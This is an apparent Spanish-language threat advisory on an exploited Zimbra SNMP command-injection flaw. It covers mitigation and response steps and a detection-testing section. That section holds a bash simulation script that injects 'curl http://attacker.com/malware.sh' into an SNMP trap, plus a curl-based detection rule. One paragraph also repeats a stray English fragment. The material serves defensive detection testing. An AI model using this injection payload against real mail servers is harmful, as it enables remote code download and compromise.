CVE-2026-73570: Inyección de Comandos No Autenticada Apunta a Servidores de Correo con Acceso a Internet

Resumen

Los actores de amenaza están explotando activamente CVE-2026-73570, una vulnerabilidad de inyección de comandos del sistema operativo no autenticada en la ruta de notificación SNMP del Zimbra Collaboration Suite. La explotación exitosa puede permitir a los atacantes desplegar webshells JSP, establecer shells inversos y escalar privilegios. La campaña observada combina la entrega automatizada de payloads con actividad manual centrada en robar datos de correo electrónico y autenticación.

Investigación

Microsoft Threat Intelligence rastreó la explotación a través de telemetría y examinó múltiples etapas del ataque, incluida el reconocimiento, el acceso inicial, la persistencia y la escalada de privilegios. Los investigadores observaron pruebas fuera de banda utilizadas para confirmar la ejecución del comando a través de subdominios específicos. El análisis también descubrió una compleja escalada de privilegios que involucra ayudantes de servicio de Zimbra y múltiples mecanismos de persistencia, incluidos servicios systemd y cron jobs.

Mitigación

Las organizaciones deben actualizar inmediatamente el Zimbra Collaboration Suite a la versión 10.1.20 o posterior para abordar la vulnerabilidad. Si no se puede completar el parcheo de inmediato, desinstale el opcional paquete zimbra-snmp y deshabilite las notificaciones SNMP. Los equipos de seguridad también deben restringir el acceso SMTP y SNMP a hosts de confianza y rotar todos los secretos de autenticación de Zimbra. package and disable SNMP notifications. Security teams should also restrict SMTP and SNMP access to trusted hosts and rotate all Zimbra authentication secrets.

Respuesta

Trate las alertas de shell inverso en servidores de correo expuestos a internet como incidentes de alta prioridad que requieren un alcance rápido y revisión de credenciales. Inspeccione los directorios de aplicaciones Zimbra y servlet-work en busca de archivos JSP inesperados o permisos modificados recientemente. Revise las unidades systemd en busca de cambios sospechosos de propiedad o actividad de cambio de tiempo, y rote todo el dominio zimbraPreAuthKey valores.

Ejecución de Simulación

• Narrativa del Ataque y Comandos: El adversario identifica un servidor de correo Zimbra expuesto a internet y explota una vulnerabilidad (CVE-2026-73570) en el procesamiento de notificaciones SNMP. Al enviar un paquete especialmente diseñado, inyectan metacaracteres de shell que hacen que el servicio SNMP ejecute un comando. El objetivo del atacante es descargar un payload secundario para establecer persistencia. Usan curl para obtener un script de un servidor remoto, lo que debería activar la Lógica del comando|contiene: curl en la regla de detección.

• Script de Prueba de Regresión:

  #!/bin/bash
  # Simulación de explotación de CVE-2026-73570 a través de inyección de trampas SNMP
  # Este script simula la inyección de un comando 'curl' en un mensaje de trampa SNMP.
  
  TARGET_IP="127.0.0.1"
  COMMUNITY="public"
  # El payload malicioso que espera ser interceptado por la regla
  MALICIOUS_COMMAND="curl http://attacker.com/malware.sh -o /tmp/malware.sh"
  
  echo "[+] Simulando inyección de comandos a través de trampa SNMP..."
  
  # Usamos snmptrap para imitar la llegada de una trampa elaborada que contiene la cadena 'curl'
  # En un ataque real, esto se enviaría a través de un paquete SMTP/SNMP malformado
  snmptrap -v 2c -c $COMMUNITY $TARGET_IP '' 1.3.6.1.4.1.8072.2.3.0.1 1.3.6.1.4.1.8072.2.3.0.2 s "$MALICIOUS_COMMAND"
  
  echo "[+] Comando de simulación enviado. Verifique SIEM para alerta: Inyección de Comando No Autenticada a través de SNMP en Zimbra"

• Comandos de limpieza:

  # Elimina cualquier archivo creado durante la simulación (si los hay)
  rm -f /tmp/malware.sh
  echo "[+] Limpieza completa."